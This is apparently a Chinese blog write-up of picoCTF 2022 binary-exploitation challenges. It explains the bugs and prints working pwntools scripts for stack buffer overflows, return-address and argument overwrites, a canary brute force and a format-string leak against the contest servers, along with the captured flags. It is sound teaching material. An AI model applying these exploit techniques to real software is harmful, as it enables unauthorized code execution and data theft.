【picoCTF2022】Pwn部分

basic-file-exploit

if ((entry_number = strtol(entry, NULL, 10)) == 0)
{
    puts(flag);
    fseek(stdin, 0, SEEK_END);
    exit(0);
}

查询 0 号就可以了

┌──(root㉿LAPTOP-Sparks)-[/tmp]
└─# nc saturn.picoctf.net 52682
Hi, welcome to my echo chamber!
Type '1' to enter a phrase into our database
Type '2' to echo a phrase in our database
Type '3' to exit the program
2
2
No data yet
1
1
Please enter your data:
123
123
Please enter the length of your data:
3
3
Your entry number is: 1
Write successful, would you like to do anything else?
2
2
Please enter the entry number of your data:
0
0
picoCTF{M4K3_5UR3_70_CH3CK_Y0UR_1NPU75_038A9E95}

buffer overflow 0

fgets(flag, FLAGSIZE_MAX, f);
signal(SIGSEGV, sigsegv_handler); // Set up signal handler
                                  // SIGSEGV	非法访问内存。

strcpy 内存溢出即可

void vuln(char *input)
{
    char buf2[16];
    strcpy(buf2, input);
}
┌──(sparks㉿LAPTOP-Sparks)-[/mnt//Desktop/CTF/pico2022/Pwn]
└─$ nc saturn.picoctf.net 65445
Input: 12345678901234567890
picoCTF{ov3rfl0ws_ar3nt_that_bad_6091cc95}

CVE-XXXX-XXXX

Description

Enter the CVE of the vulnerability as the flag with the correct flag format:picoCTF{CVE-XXXX-XXXXX} **replacing XXXX-XXXXX with the numbers for the matching vulnerability.**The CVE we’re looking for is the first recorded remote code execution (RCE) vulnerability in 2021 in the Windows Print Spooler Service, which is available across desktop and server versions of Windows operating systems. The service is used to manage printers and print servers.

Windows Print Spooler 服务最新漏洞 CVE-2021-34527 详细分析 | 天融信阿尔法实验室 (topsec.com.cn)

buffer overflow 1

源代码写的是

void vuln()
{
    char buf[BUFSIZE];
    gets(buf);
    printf("Okay, time to return... Fingers Crossed... Jumping to 0x%x\n", get_return_address());
}

但实际是

int __usercall get_return_address@<eax>(int a1@<ebp>)
{
  return *(_DWORD *)(a1 + 4);
}
int vuln()
{
  int v0; // eax
  char s[36]; // [esp+0h] [ebp-28h] BYREF
  int savedregs; // [esp+28h] [ebp+0h] BYREF

  gets(s);
  v0 = get_return_address((int)&savedregs);
  return printf("Okay, time to return... Fingers Crossed... Jumping to 0x%x\n", v0);
}

就在 36(char[])+4(32 位 int)+4(函数中)后填充想要的地址即可

from pwn import *
# 本地
# ex = process('./vuln')
# 远程
ex = remote('saturn.picoctf.net', 52761)
payload = b''.join([b'0' for i in range(44)])
# 080491F6
payload += b'\xF6'
payload += b'\x91'
payload += b'\x04'
payload += b'\x08'
payload += b'\n'
ex.send(payload)
print(ex.recvall())

RPS

if (strstr(player_turn, loses[computer_turn])) {
    puts("You win! Play again?");
    return true;
} else {
    puts("Seems like you didn't win this time. Play again?");
    return false;
}

char *strstr(const char *haystack, const char *needle)

说明:在字符串 haystack 中查找第一次出现字符串 needle 的位置,不包含终止符 '\0'

from pwn import *

ex = remote('saturn.picoctf.net', 53296)
for i in range(5):
    ex.sendline(b'1')
    ex.sendline(b'rock/paper/scissors')
print(ex.recvline_contains(b'picoCTF{'))

x-sixty-what

64 位的 gets 溢出,本地复现了,远程失败,不清楚了

from pwn import *
# 本地
ex = process('./vuln')
# 远程
# ex = remote('saturn.picoctf.net', 50299)
payload = b''.join([b'0' for i in range(64 + 8)])
payload += p64(0x401236)
ex.sendline(payload)
print(payload)
print(ex.recvall())

等一会儿问问别人。。。

正解是将 payload += p64(0x401236) 改成 payload += p64(0x40123B)

TTLYSAX91VZ8QAVV4OC.png

等会问一下群里 dalao

原来是跳转不能跳到 endr64

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-riR62n8N-1648538657328)(https://b3logfile.com/siyuan/1646712724545/assets/L@K5KR4@K5FJGWRLX-20220328182936-n9gvon9.png)]

正常应该跳到 0x40123A

from pwn import *
import scapy.layers
# 本地
# ex = process('./vuln')
# 远程
ex = remote('saturn.picoctf.net', 63023)
payload = b''.join([b'0' for i in range(64 + 8)])
payload += p64(0x40123A)
ex.sendline(payload)
print(payload)
print(ex.recvall())

buffer overflow 2

int vuln()
{
  char s[104]; // [esp+Ch] [ebp-6Ch] BYREF

  gets(s);
  return puts(s);
}
char *__cdecl win(int a1, int a2)
{
  char *result; // eax
  char s[64]; // [esp+Ch] [ebp-4Ch] BYREF
  FILE *stream; // [esp+4Ch] [ebp-Ch]

  stream = fopen("flag.txt", "r");
  if ( !stream )
  {
    printf("%s %s", "Please create 'flag.txt' in this directory with your", "own debugging flag.\n");
    exit(0);
  }
  result = fgets(s, 64, stream);
  if ( a1 == -889262067 && a2 == -267522035 )
    result = (char *)printf(s);
  return result;
}

gets 栈溢出,但这次要传参

from pwn import *
# 本地
# ex = process('./vuln')
# 远程
ex = remote('saturn.picoctf.net', 64439)
payload = b''.join([b'0' for i in range(104 + 8)])
payload += p32(0x0804929A)  #跳转地址
payload += p32(0x00000000)  #返回地址
payload += p32(0xCAFEF00D)  #第二个参数
payload += p32(0xF00DF00D)  #第一个参数
ex.sendline(payload)
print(payload)
print(ex.recvall())

buffer overflow 3

int vuln()
{
  size_t nbytes; // [esp+4h] [ebp-94h] BYREF
  char v2[64]; // [esp+8h] [ebp-90h] BYREF
  char buf[64]; // [esp+48h] [ebp-50h] BYREF
  int s1; // [esp+88h] [ebp-10h] BYREF
  int v5; // [esp+8Ch] [ebp-Ch]

  v5 = 0;
  s1 = global_canary;
  printf("How Many Bytes will You Write Into the Buffer?\n> ");
  while ( v5 <= 63 )
  {
    read(0, &v2[v5], 1u);
    if ( v2[v5] == 10 )
      break;
    ++v5;
  }
  __isoc99_sscanf(v2, "%d", &nbytes);
  printf("Input> ");
  read(0, buf, nbytes);
  if ( memcmp(&s1, &global_canary, 4u) )
  {
    puts("***** Stack Smashing Detected ***** : Canary Value Corrupt!");
    exit(-1);
  }
  puts("Ok... Now Where's the Flag?");
  return fflush(stdout);
}

同样的道理,read(0, buf, nbytes) 可以出现缓冲区溢出,而

 char buf[64]; // [esp+48h] [ebp-50h] BYREF
  int s1; // [esp+88h] [ebp-10h] BYREF

s1 就是 canary ,可以溢出到 s1 的区域,

 memcmp(&s1, &global_canary, 4u)

这里判断了 s1global_canary ,我们只要枚举溢出区域的值,得到 global_canary 即可

注意第十行 s1 = global_canary; ,所以我们可以按位枚举

最后面跟上跳转地址即可

import pwn
import string

pwn.context.log_level = 'debug'
url = 'saturn.picoctf.net'
port = 58961
chs = string.ascii_letters

payload = pwn.cyclic(64)

for i in range(4):
    for ch in chs:
        ch = ch.encode()
        ex = pwn.remote(url, port)
        ex.sendlineafter(b'> ', str(64 + 1 + i).encode())
        ex.sendlineafter(b'Input> ', payload + ch)
        if b'Ok... Now Where\'s the Flag?' in ex.recv():
            ex.close()
            payload += ch
            break
        ex.close()

ex = pwn.remote(url, port)
ex.sendlineafter(b'> ', str(64 + 4 + 16 + 4).encode())
ex.sendlineafter(b'Input> ', payload + pwn.cyclic(16) + pwn.p32(0x8049336))
ex.interactive()

flag leak

void vuln(){
   char flag[BUFSIZE];
   char story[128];

   readflag(flag, FLAGSIZE);

   printf("Tell me a story and then I'll tell you one >> ");
   scanf("%127s", story);
   printf("Here's a story - \n");
   printf(story);
   printf("\n");
}

格式化字符串漏洞

   printf(story);

具体可以看 printf 格式化字符串漏洞原理与利用-看雪论坛

在这句话处下断点

image.png

其中 format 就是对应 printf(story) 中的 story ,传入值 %N$sN 是栈上偏移 n 的内容

注意:

  1. 栈上地址是会变化的,每次运行时的值都不一样,不能用读固定地址的方法来做,这样还可能读到奇奇怪怪的地方停不下来,把机器弄崩溃了
  2. 偏移 n ,不是偏移 n 个字节,而是偏移 32bit (32 位)

看一眼栈

FFB6CE60  [stack]:FFB6CE60
FFB6CE60  [stack]:FFB6CE60
F7D50A6C  libc_2.33.so:F7D50A6C
08049346  vuln+13
24343225  # 传入的字符串"%24$"
FFFF0078  # 传入的字符串"x\x00"
FFB6CE90  [stack]:FFB6CE90
F7D55BAC  libc_2.33.so:F7D55BAC
F7F55110  debug002:F7F55110
FFFFFFFF  
F7F78720  ld_2.33.so:_dl_x86_get_c
F7D5730C  libc_2.33.so:F7D5730C
F7F55110  debug002:F7F55110
00000000  
F7F355C0  libc_2.33.so:_IO_file_ju
F7DC53C6  libc_2.33.so:_IO_default
F7F34D20  libc_2.33.so:_IO_2_1_std
0804838D  LOAD:aSetresgid
00000001  
00000000  
0804C034  .got.plt:off_804C034
F7F6D9B6  ld_2.33.so:_dl_rtld_di_s
0804838D  LOAD:aSetresgid
F7F8F9D0  ld_2.33.so:_r_debug+A4
FFB6CEE4  [stack]:FFB6CEE4 # 正好对应flag+4的地址,不清楚为什么

至于偏移 24 时为什么是这样的,暂不清楚

import pwn

pwn.context.log_level = 'debug'
url = 'saturn.picoctf.net'
port = 57666
# ex = pwn.process('./vuln')
ex = pwn.remote(url, port)

ex.sendlineafter(b'>> ', b'%24$s')
ex.recv()
ex.close()

ropfu

ROP 攻击,待学习。。。

基本 ROP - CTF Wiki (ctf-wiki.org)

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值